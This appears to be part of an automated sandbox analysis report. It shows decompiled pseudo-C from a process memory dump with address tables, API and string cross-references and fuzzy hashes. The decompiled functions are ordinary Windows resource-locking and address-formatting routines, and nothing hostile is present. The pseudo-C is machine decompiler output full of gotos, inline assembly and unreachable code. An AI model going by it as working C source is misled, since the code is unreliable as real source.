0x0099eaf3
0x0099eaf6
0x0099eaf7
0x0099eafe
0x0099eb01
0x00000000
0x0099eb01
0x0099eacf
0x00970ad0
0x00970ad4
0x00000000
0x00000000
0x00970ada
0x00970ae6
0x00970c34
0x00000000
0x00970c47
0x00970c49
0x00970c4a
0x00970c4e
0x00970c51
0x00970c54
0x00970c57
0x00970c5a
0x00000000
0x00000000
0x00000000
0x00970c60
0x00970afb
0x00970afe
0x00970b02
0x00970b05
0x00970b08
0x00000000
0x00970b08
0x00970ae6
0x00970b44
0x009709f8
0x009709f8
0x009709f9
0x00000000
0x00000000
0x0099eaa0
0x00000000

APIs

__fassign.LIBCMT ref: 00970BF6
__fassign.LIBCMT ref: 00970CA2

Strings

., xrefs: 00970A0C
:, xrefs: 00970AC7
:, xrefs: 00970BA9

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: __fassign
String ID: .$:$:
API String ID: 3965848254-2308638275
Opcode ID: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction ID: 534b7a97c0e17d15bb31d3d62fc6423f2bf39ba7106765f044797f4d31d8b8a2
Opcode Fuzzy Hash: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction Fuzzy Hash: 1DA18D72D0030AEFDF25CF68C8457BEB7B8AF95305F28C56AD88AA7241D7349A41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00970554, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E00970554(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int* _t49;
				signed int _t51;
				signed int _t56;
				signed int _t58;
				signed int _t61;
				signed int _t63;
				void* _t66;
				intOrPtr _t67;
				void* _t69;
				signed int _t70;
				void* _t75;
				signed int _t81;
				signed int _t84;
				void* _t86;
				signed int _t93;
				signed int _t96;
				intOrPtr _t105;
				signed int _t107;
				void* _t110;
				signed int _t115;
				signed int* _t119;
				void* _t125;
				void* _t126;
				signed int _t128;
				signed int _t130;
				signed int _t138;
				signed int _t144;
				void* _t158;
				void* _t159;
				void* _t160;

				_t96 = _a4;
				_t115 =  *(_t96 + 0x28);
				_push(_t138);
				if(_t115 < 0) {
					_t105 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t96 + 0x2c)) -  *((intOrPtr*)(_t105 + 0x24));
					if( *((intOrPtr*)(_t96 + 0x2c)) !=  *((intOrPtr*)(_t105 + 0x24))) {
						goto L6;
					} else {
						__eflags = _t115 | 0xffffffff;
						asm("lock xadd [eax], edx");
						return 1;
					}
				} else {
					L6:
					_push(_t128);
					while(1) {
						L7:
						__eflags = _t115;
						if(_t115 >= 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
							_t49 = _t96 + 0x1c;
							_t106 = 1;
							asm("lock xadd [edx], ecx");
							_t115 =  *(_t96 + 0x28);
							__eflags = _t115;
							if(_t115 < 0) {
								L23:
								_t130 = 0;
								__eflags = 0;
								while(1) {
									_t118 =  *(_t96 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t144 =  !( ~( *(_t96 + 0x30) & 1)) & 0x00a101c0;
									_push(_t144);
									_push(0);
									_t51 = E0092F8CC( *((intOrPtr*)(_t96 + 0x18)));
									__eflags = _t51 - 0x102;
									if(_t51 != 0x102) {
										break;
									}
									_t106 =  *(_t144 + 4);
									_t126 =  *_t144;
									_t86 = E00974FC0(_t126,  *(_t144 + 4), 0xff676980, 0xffffffff);
									_push(_t126);
									_push(_t86);
									E00983F92(0x65, 0, "RTL: Acquire Shared Sem Timeout %d(%I64u secs)\n", _t130);
									E00983F92(0x65, 0, "RTL: Resource at %p\n", _t96);
									_t130 = _t130 + 1;
									_t160 = _t158 + 0x28;
									__eflags = _t130 - 2;
									if(__eflags > 0) {
										E009B217A(_t106, __eflags, _t96);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									E00983F92();
									_t158 = _t160 + 0xc;
								}
								__eflags = _t51;
								if(__eflags < 0) {
									_push(_t51);
									E00973915(_t96, _t106, _t118, _t130, _t144, __eflags);
									asm("int3");
									while(1) {
										L32:
										__eflags = _a8;
										if(_a8 == 0) {
											break;
										}
										 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
										_t119 = _t96 + 0x24;
										_t107 = 1;
										asm("lock xadd [eax], ecx");
										_t56 =  *(_t96 + 0x28);
										_a4 = _t56;
										__eflags = _t56;
										if(_t56 != 0) {
											L40:
											_t128 = 0;
											__eflags = 0;
											while(1) {
												_t121 =  *(_t96 + 0x30) & 0x00000001;
												asm("sbb esi, esi");
												_t138 =  !( ~( *(_t96 + 0x30) & 1)) & 0x00a101c0;
												_push(_t138);
												_push(0);
												_t58 = E0092F8CC( *((intOrPtr*)(_t96 + 0x20)));
												__eflags = _t58 - 0x102;
												if(_t58 != 0x102) {
													break;
												}
												_t107 =  *(_t138 + 4);
												_t125 =  *_t138;
												_t75 = E00974FC0(_t125, _t107, 0xff676980, 0xffffffff);
												_push(_t125);
												_push(_t75);
												E00983F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t128);
												E00983F92(0x65, 0, "RTL: Resource at %p\n", _t96);
												_t128 = _t128 + 1;
												_t159 = _t158 + 0x28;
												__eflags = _t128 - 2;
												if(__eflags > 0) {
													E009B217A(_t107, __eflags, _t96);
												}
												_push("RTL: Re-Waiting\n");
												_push(0);
												_push(0x65);
												E00983F92();
												_t158 = _t159 + 0xc;
											}
											__eflags = _t58;
											if(__eflags < 0) {
												_push(_t58);
												E00973915(_t96, _t107, _t121, _t128, _t138, __eflags);
												asm("int3");
												_t61 =  *_t107;
												 *_t107 = 0;
												__eflags = _t61;
												if(_t61 == 0) {
													L1:
													_t63 = E00955384(_t138 + 0x24);
													if(_t63 != 0) {
														goto L52;
													} else {
														goto L2;
													}
												} else {
													_t123 =  *((intOrPtr*)(_t138 + 0x18));
													_push( &_a4);
													_push(_t61);
													_t70 = E0092F970( *((intOrPtr*)(_t138 + 0x18)));
													__eflags = _t70;
													if(__eflags >= 0) {
														goto L1;
													} else {
														_push(_t70);
														E00973915(_t96,  &_a4, _t123, _t128, _t138, __eflags);
														L52:
														_t122 =  *((intOrPtr*)(_t138 + 0x20));
														_push( &_a4);
														_push(1);
														_t63 = E0092F970( *((intOrPtr*)(_t138 + 0x20)));
														__eflags = _t63;
														if(__eflags >= 0) {
															L2:
															return _t63;
														} else {
															_push(_t63);
															E00973915(_t96,  &_a4, _t122, _t128, _t138, __eflags);
															_t109 =  *((intOrPtr*)(_t138 + 0x20));
															_push( &_a4);
															_push(1);
															_t63 = E0092F970( *((intOrPtr*)(_t138 + 0x20)));
															__eflags = _t63;
															if(__eflags >= 0) {
																goto L2;
															} else {
																_push(_t63);
																_t66 = E00973915(_t96, _t109, _t122, _t128, _t138, __eflags);
																asm("int3");
																while(1) {
																	_t110 = _t66;
																	__eflags = _t66 - 1;
																	if(_t66 != 1) {
																		break;
																	}
																	_t128 = _t128 | 0xffffffff;
																	_t66 = _t110;
																	asm("lock cmpxchg [ebx], edi");
																	__eflags = _t66 - _t110;
																	if(_t66 != _t110) {
																		continue;
																	} else {
																		_t67 =  *[fs:0x18];
																		 *((intOrPtr*)(_t138 + 0x2c)) =  *((intOrPtr*)(_t67 + 0x24));
																		return _t67;
																	}
																	goto L59;
																}
																E00955329(_t110, _t138);
																_t69 = E009553A5(_t138, 1);
																return _t69;
															}
														}
													}
												}
											} else {
												_t56 =  *(_t96 + 0x28);
												goto L3;
											}
										} else {
											_t107 =  *_t119;
											__eflags = _t107;
											if(__eflags > 0) {
												while(1) {
													_t81 = _t107;
													asm("lock cmpxchg [edi], esi");
													__eflags = _t81 - _t107;
													if(_t81 == _t107) {
														break;
													}
													_t107 = _t81;
													__eflags = _t81;
													if(_t81 > 0) {
														continue;
													}
													break;
												}
												_t56 = _a4;
												__eflags = _t107;
											}
											if(__eflags != 0) {
												while(1) {
													L3:
													__eflags = _t56;
													if(_t56 != 0) {
														goto L32;
													}
													_t107 = _t107 | 0xffffffff;
													_t56 = 0;
													asm("lock cmpxchg [edx], ecx");
													__eflags = 0;
													if(0 != 0) {
														continue;
													} else {
														 *((intOrPtr*)(_t96 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
														return 1;
													}
													goto L59;
												}
												continue;
											} else {
												goto L40;
											}
										}
										goto L59;
									}
									__eflags = 0;
									return 0;
								} else {
									_t115 =  *(_t96 + 0x28);
									continue;
								}
							} else {
								_t106 =  *_t49;
								__eflags = _t106;
								if(__eflags > 0) {
									while(1) {
										_t93 = _t106;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t93 - _t106;
										if(_t93 == _t106) {
											break;
										}
										_t106 = _t93;
										__eflags = _t93;
										if(_t93 > 0) {
											continue;
										}
										break;
									}
									__eflags = _t106;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L23;
								}
							}
						}
						goto L59;
					}
					_t84 = _t115;
					asm("lock cmpxchg [esi], ecx");
					__eflags = _t84 - _t115;
					if(_t84 != _t115) {
						_t115 = _t84;
						goto L7;
					} else {
						return 1;
					}
				}
				L59:
			}

0x0097055a
0x0097055d
0x00970563
0x00970566
0x009705d8
0x009705e2
0x009705e5
0x00000000
0x009705e7
0x009705e7
0x009705ea
0x009705f3
0x009705f3
0x00970568
0x00970568
0x00970568
0x00970569
0x00970569
0x00970569
0x0097056b
0x00000000
0x00000000
0x0099217f
0x00992183
0x0099225b
0x0099225f
0x00992189
0x0099218c
0x0099218f
0x00992194
0x00992199
0x0099219d
0x009921a0
0x009921a2
0x009921ce
0x009921ce
0x009921ce
0x009921d0
0x009921d6
0x009921de
0x009921e2
0x009921e8
0x009921e9
0x009921ec
0x009921f1
0x009921f6
0x00000000
0x00000000
0x009921f8
0x009921fb
0x00992206
0x0099220b
0x0099220c
0x00992217
0x00992226
0x0099222b
0x0099222c
0x0099222f
0x00992232
0x00992235
0x00992235
0x0099223a
0x0099223f
0x00992241
0x00992243
0x00992248
0x00992248
0x0099224d
0x0099224f
0x00992262
0x00992263
0x00992268
0x00992269
0x00992269
0x00992269
0x0099226d
0x00000000
0x00000000
0x00992276
0x00992279
0x0099227e
0x00992283
0x00992287
0x0099228a
0x0099228d
0x0099228f
0x009922bc
0x009922bc
0x009922bc
0x009922be
0x009922c4
0x009922cc
0x009922d0
0x009922d6
0x009922d7
0x009922da
0x009922df
0x009922e4
0x00000000
0x00000000
0x009922e6
0x009922e9
0x009922f4
0x009922f9
0x009922fa
0x00992305
0x00992314
0x00992319
0x0099231a
0x0099231d
0x00992320
0x00992323
0x00992323
0x00992328
0x0099232d
0x0099232f
0x00992331
0x00992336
0x00992336
0x0099233b
0x0099233d
0x00992350
0x00992351
0x00992356
0x00992359
0x00992359
0x0099235b
0x0099235d
0x00955367
0x0095536b
0x00955372
0x00000000
0x00000000
0x00000000
0x00000000
0x00992363
0x00992363
0x00992369
0x0099236a
0x0099236c
0x00992371
0x00992373
0x00000000
0x00992379
0x00992379
0x0099237a
0x0099237f
0x0099237f
0x00992385
0x00992386
0x00992389
0x0099238e
0x00992390
0x00955378
0x0095537c
0x00992396
0x00992396
0x00992397
0x0099239c
0x009923a2
0x009923a3
0x009923a6
0x009923ab
0x009923ad
0x00000000
0x009923b3
0x009923b3
0x009923b4
0x009923b9
0x009923ba
0x009923ba
0x009923bc
0x009923bf
0x00000000
0x00000000
0x00989153
0x00989158
0x0098915a
0x0098915e
0x00989160
0x00000000
0x00989166
0x00989166
0x00989171
0x00989176
0x00989176
0x00000000
0x00989160
0x009923c6
0x009923ce
0x009923d7
0x009923d7
0x009923ad
0x00992390
0x00992373
0x0099233f
0x0099233f
0x00000000
0x0099233f
0x00992291
0x00992291
0x00992293
0x00992295
0x0099229a
0x009922a1
0x009922a3
0x009922a7
0x009922a9
0x00000000
0x00000000
0x009922ab
0x009922ad
0x009922af
0x00000000
0x00000000
0x00000000
0x009922af
0x009922b1
0x009922b4
0x009922b4
0x009922b6
0x009553be
0x009553be
0x009553be
0x009553c0
0x00000000
0x00000000
0x009553cb
0x009553ce
0x009553d0
0x009553d4
0x009553d6
0x00000000
0x009553d8
0x009553e3
0x009553ea
0x009553ea
0x00000000
0x009553d6
0x00000000
0x00000000
0x00000000
0x00000000
0x009922b6
0x00000000
0x0099228f
0x00992349
0x0099234d
0x00992251
0x00992251
0x00000000
0x00992251
0x009921a4
0x009921a4
0x009921a6
0x009921a8
0x009921ac
0x009921b6
0x009921b8
0x009921bc
0x009921be
0x00000000
0x00000000
0x009921c0
0x009921c2
0x009921c4
0x00000000
0x00000000
0x00000000
0x009921c4
0x009921c6
0x009921c6
0x009921c8
0x00000000
0x00000000
0x00000000
0x00000000
0x009921c8
0x009921a2
0x00000000
0x00992183
0x0097057b
0x0097057d
0x00970581
0x00970583
0x00992178
0x00000000
0x00970589
0x0097058f
0x0097058f
0x00970583
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00992206

Strings

RTL: Re-Waiting, xrefs: 0099223A, 00992328
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 009922FC
RTL: Resource at %p, xrefs: 0099221D, 0099230B
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 0099220E

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: efbfcbcb781c49c717eee99d9d2bf1b96960968afb8ca61a8332b6834602b7ce
Instruction ID: a6f7716e77370df4fa7a39a0360d0484aacb03c5030aa2a8d9f1dff3931b0eba
Opcode Fuzzy Hash: efbfcbcb781c49c717eee99d9d2bf1b96960968afb8ca61a8332b6834602b7ce
Instruction Fuzzy Hash: C8513931704201BBEF14DB1CCC82FA673ADABD4B20F218229FD59DB285DA71EC418B90

Uniqueness

Uniqueness Score: -1.00%

Function 009714C0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E009714C0(void* __ecx, void* __edx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr* _a20) {
				signed int _v8;
				char _v10;
				char _v140;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t24;
				void* _t26;
				signed int _t29;
				signed int _t34;
				signed int _t40;
				intOrPtr _t45;
				void* _t51;
				intOrPtr* _t52;
				void* _t54;
				signed int _t57;
				void* _t58;

				_t51 = __edx;
				_t24 =  *0xa12088; // 0x777196bd
				_v8 = _t24 ^ _t57;
				_t45 = _a16;
				_t53 = _a4;
				_t52 = _a20;
				if(_a4 == 0 || _t52 == 0) {
					L10:
					_t26 = 0xc000000d;
				} else {
					if(_t45 == 0) {
						if( *_t52 == _t45) {
							goto L3;
						} else {
							goto L10;
						}
					} else {
						L3:
						_t28 =  &_v140;
						if(_a12 != 0) {
							_push("[");
							_push(0x41);
							_push( &_v140);
							_t29 = E00967707();
							_t58 = _t58 + 0xc;
							_t28 = _t57 + _t29 * 2 - 0x88;
						}
						_t54 = E009713CB(_t53, _t28);
						if(_a8 != 0) {
							_t34 = E00967707(_t54,  &_v10 - _t54 >> 1, L"%%%u", _a8);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t34 * 2;
						}
						if(_a12 != 0) {
							_t40 = E00967707(_t54,  &_v10 - _t54 >> 1, L"]:%u", _a12 & 0x0000ffff);
							_t58 = _t58 + 0x10;
							_t54 = _t54 + _t40 * 2;
						}
						_t53 = (_t54 -  &_v140 >> 1) + 1;
						 *_t52 = _t53;
						if( *_t52 < _t53) {
							goto L10;
						} else {
							E00932340(_t45,  &_v140, _t53 + _t53);
							_t26 = 0;
						}
					}
				}
				return E0093E1B4(_t26, _t45, _v8 ^ _t57, _t51, _t52, _t53);
			}

0x009714c0
0x009714cb
0x009714d2
0x009714d6
0x009714da
0x009714de
0x009714e3
0x0097157a
0x0097157a
0x009714f1
0x009714f3
0x0099ea0f
0x00000000
0x0099ea15
0x00000000
0x0099ea15
0x009714f9
0x009714f9
0x009714fe
0x00971504
0x0099ea1a
0x0099ea1f
0x0099ea21
0x0099ea22
0x0099ea27
0x0099ea2a
0x0099ea2a
0x00971515
0x00971517
0x0097156d
0x00971572
0x00971575
0x00971575
0x0097151e
0x0099ea50
0x0099ea55
0x0099ea58
0x0099ea58
0x0097152e
0x00971531
0x00971533
0x00000000
0x00971535
0x00971541
0x00971549
0x00971549
0x00971533
0x009714f3
0x00971559

APIs

___swprintf_l.LIBCMT ref: 0099EA22

Part of subcall function 009713CB: ___swprintf_l.LIBCMT ref: 0097146B
Part of subcall function 009713CB: ___swprintf_l.LIBCMT ref: 00971490

___swprintf_l.LIBCMT ref: 0097156D

Strings

%%%u, xrefs: 00971564
]:%u, xrefs: 0099EA47

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: d72a235fac0a54d062d51e9e6e9ae739a62cebe402d2207db199ffa050b325b6
Instruction ID: 3cc961d281f5c07bc82adc7110169088a7c0e78603723fba4b56c73dc895440f
Opcode Fuzzy Hash: d72a235fac0a54d062d51e9e6e9ae739a62cebe402d2207db199ffa050b325b6
Instruction Fuzzy Hash: E42191B39002199BCF21DE68CC41BEAB3ACAB90704F448555FC4AD3140DB74AA588BE1

Uniqueness

Uniqueness Score: -1.00%

Function 009553A5, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E009553A5(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t32;
				signed int _t37;
				signed int _t40;
				signed int _t42;
				void* _t45;
				intOrPtr _t46;
				void* _t48;
				signed int _t49;
				void* _t51;
				signed int _t57;
				signed int _t64;
				signed int _t71;
				void* _t74;
				intOrPtr _t78;
				signed int* _t79;
				void* _t85;
				signed int _t86;
				signed int _t92;
				void* _t104;
				void* _t105;

				_t64 = _a4;
				_t32 =  *(_t64 + 0x28);
				_t71 = _t64 + 0x28;
				_push(_t92);
				if(_t32 < 0) {
					_t78 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t64 + 0x2c)) -  *((intOrPtr*)(_t78 + 0x24));
					if( *((intOrPtr*)(_t64 + 0x2c)) !=  *((intOrPtr*)(_t78 + 0x24))) {
						goto L3;
					} else {
						__eflags = _t32 | 0xffffffff;
						asm("lock xadd [ecx], eax");
						return 1;
					}
				} else {
					L3:
					_push(_t86);
					while(1) {
						L4:
						__eflags = _t32;
						if(_t32 == 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t64 + 0x34)) + 0x14)) + 1;
							_t79 = _t64 + 0x24;
							_t71 = 1;
							asm("lock xadd [eax], ecx");
							_t32 =  *(_t64 + 0x28);
							_a4 = _t32;
							__eflags = _t32;
							if(_t32 != 0) {
								L19:
								_t86 = 0;
								__eflags = 0;
								while(1) {
									_t81 =  *(_t64 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t92 =  !( ~( *(_t64 + 0x30) & 1)) & 0x00a101c0;
									_push(_t92);
									_push(0);
									_t37 = E0092F8CC( *((intOrPtr*)(_t64 + 0x20)));
									__eflags = _t37 - 0x102;
									if(_t37 != 0x102) {
										break;
									}
									_t71 =  *(_t92 + 4);
									_t85 =  *_t92;
									_t51 = E00974FC0(_t85, _t71, 0xff676980, 0xffffffff);
									_push(_t85);
									_push(_t51);
									E00983F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t86);
									E00983F92(0x65, 0, "RTL: Resource at %p\n", _t64);
									_t86 = _t86 + 1;
									_t105 = _t104 + 0x28;
									__eflags = _t86 - 2;
									if(__eflags > 0) {
										E009B217A(_t71, __eflags, _t64);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									E00983F92();
									_t104 = _t105 + 0xc;
								}
								__eflags = _t37;
								if(__eflags < 0) {
									_push(_t37);
									E00973915(_t64, _t71, _t81, _t86, _t92, __eflags);
									asm("int3");
									_t40 =  *_t71;
									 *_t71 = 0;
									__eflags = _t40;
									if(_t40 == 0) {
										L1:
										_t42 = E00955384(_t92 + 0x24);
										if(_t42 != 0) {
											goto L31;
										} else {
											goto L2;
										}
									} else {
										_t83 =  *((intOrPtr*)(_t92 + 0x18));
										_push( &_a4);
										_push(_t40);
										_t49 = E0092F970( *((intOrPtr*)(_t92 + 0x18)));
										__eflags = _t49;
										if(__eflags >= 0) {
											goto L1;
										} else {
											_push(_t49);
											E00973915(_t64,  &_a4, _t83, _t86, _t92, __eflags);
											L31:
											_t82 =  *((intOrPtr*)(_t92 + 0x20));
											_push( &_a4);
											_push(1);
											_t42 = E0092F970( *((intOrPtr*)(_t92 + 0x20)));
											__eflags = _t42;
											if(__eflags >= 0) {
												L2:
												return _t42;
											} else {
												_push(_t42);
												E00973915(_t64,  &_a4, _t82, _t86, _t92, __eflags);
												_t73 =  *((intOrPtr*)(_t92 + 0x20));
												_push( &_a4);
												_push(1);
												_t42 = E0092F970( *((intOrPtr*)(_t92 + 0x20)));
												__eflags = _t42;
												if(__eflags >= 0) {
													goto L2;
												} else {
													_push(_t42);
													_t45 = E00973915(_t64, _t73, _t82, _t86, _t92, __eflags);
													asm("int3");
													while(1) {
														_t74 = _t45;
														__eflags = _t45 - 1;
														if(_t45 != 1) {
															break;
														}
														_t86 = _t86 | 0xffffffff;
														_t45 = _t74;
														asm("lock cmpxchg [ebx], edi");
														__eflags = _t45 - _t74;
														if(_t45 != _t74) {
															continue;
														} else {
															_t46 =  *[fs:0x18];
															 *((intOrPtr*)(_t92 + 0x2c)) =  *((intOrPtr*)(_t46 + 0x24));
															return _t46;
														}
														goto L38;
													}
													E00955329(_t74, _t92);
													_push(1);
													_t48 = E009553A5(_t92);
													return _t48;
												}
											}
										}
									}
								} else {
									_t32 =  *(_t64 + 0x28);
									continue;
								}
							} else {
								_t71 =  *_t79;
								__eflags = _t71;
								if(__eflags > 0) {
									while(1) {
										_t57 = _t71;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t57 - _t71;
										if(_t57 == _t71) {
											break;
										}
										_t71 = _t57;
										__eflags = _t57;
										if(_t57 > 0) {
											continue;
										}
										break;
									}
									_t32 = _a4;
									__eflags = _t71;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L19;
								}
							}
						}
						goto L38;
					}
					_t71 = _t71 | 0xffffffff;
					_t32 = 0;
					asm("lock cmpxchg [edx], ecx");
					__eflags = 0;
					if(0 != 0) {
						goto L4;
					} else {
						 *((intOrPtr*)(_t64 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
						return 1;
					}
				}
				L38:
			}

0x009553ab
0x009553ae
0x009553b1
0x009553b4
0x009553b7
0x009705b6
0x009705c0
0x009705c3
0x00000000
0x009705c9
0x009705c9
0x009705cc
0x009705d5
0x009705d5
0x009553bd
0x009553bd
0x009553bd
0x009553be
0x009553be
0x009553be
0x009553c0
0x00000000
0x00000000
0x00992269
0x0099226d
0x00992349
0x0099234d
0x00992273
0x00992276
0x00992279
0x0099227e
0x00992283
0x00992287
0x0099228a
0x0099228d
0x0099228f
0x009922bc
0x009922bc
0x009922bc
0x009922be
0x009922c4
0x009922cc
0x009922d0
0x009922d6
0x009922d7
0x009922da
0x009922df
0x009922e4
0x00000000
0x00000000
0x009922e6
0x009922e9
0x009922f4
0x009922f9
0x009922fa
0x00992305
0x00992314
0x00992319
0x0099231a
0x0099231d
0x00992320
0x00992323
0x00992323
0x00992328
0x0099232d
0x0099232f
0x00992331
0x00992336
0x00992336
0x0099233b
0x0099233d
0x00992350
0x00992351
0x00992356
0x00992359
0x00992359
0x0099235b
0x0099235d
0x00955367
0x0095536b
0x00955372
0x00000000
0x00000000
0x00000000
0x00000000
0x00992363
0x00992363
0x00992369
0x0099236a
0x0099236c
0x00992371
0x00992373
0x00000000
0x00992379
0x00992379
0x0099237a
0x0099237f
0x0099237f
0x00992385
0x00992386
0x00992389
0x0099238e
0x00992390
0x00955378
0x0095537c
0x00992396
0x00992396
0x00992397
0x0099239c
0x009923a2
0x009923a3
0x009923a6
0x009923ab
0x009923ad
0x00000000
0x009923b3
0x009923b3
0x009923b4
0x009923b9
0x009923ba
0x009923ba
0x009923bc
0x009923bf
0x00000000
0x00000000
0x00989153
0x00989158
0x0098915a
0x0098915e
0x00989160
0x00000000
0x00989166
0x00989166
0x00989171
0x00989176
0x00989176
0x00000000
0x00989160
0x009923c6
0x009923cb
0x009923ce
0x009923d7
0x009923d7
0x009923ad
0x00992390
0x00992373
0x0099233f
0x0099233f
0x00000000
0x0099233f
0x00992291
0x00992291
0x00992293
0x00992295
0x0099229a
0x009922a1
0x009922a3
0x009922a7
0x009922a9
0x00000000
0x00000000
0x009922ab
0x009922ad
0x009922af
0x00000000
0x00000000
0x00000000
0x009922af
0x009922b1
0x009922b4
0x009922b4
0x009922b6
0x00000000
0x00000000
0x00000000
0x00000000
0x009922b6
0x0099228f
0x00000000
0x0099226d
0x009553cb
0x009553ce
0x009553d0
0x009553d4
0x009553d6
0x00000000
0x009553d8
0x009553e3
0x009553ea
0x009553ea
0x009553d6
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009922F4

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 009922FC
RTL: Re-Waiting, xrefs: 00992328
RTL: Resource at %p, xrefs: 0099230B

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: 431f5f37eff6e6866758aae2adaa7301ae9b521a2a067aa30cccb56e0d2d7dff
Instruction ID: ed214f16709c1dbc9a25354e96df8bbc6c88fa557eee21e31570ccd2673c7259
Opcode Fuzzy Hash: 431f5f37eff6e6866758aae2adaa7301ae9b521a2a067aa30cccb56e0d2d7dff
Instruction Fuzzy Hash: E6512871600701BBDF14DB29DC91FA673ACEF94760F114229FD18DB282EA71ED458BA0

Uniqueness

Uniqueness Score: -1.00%

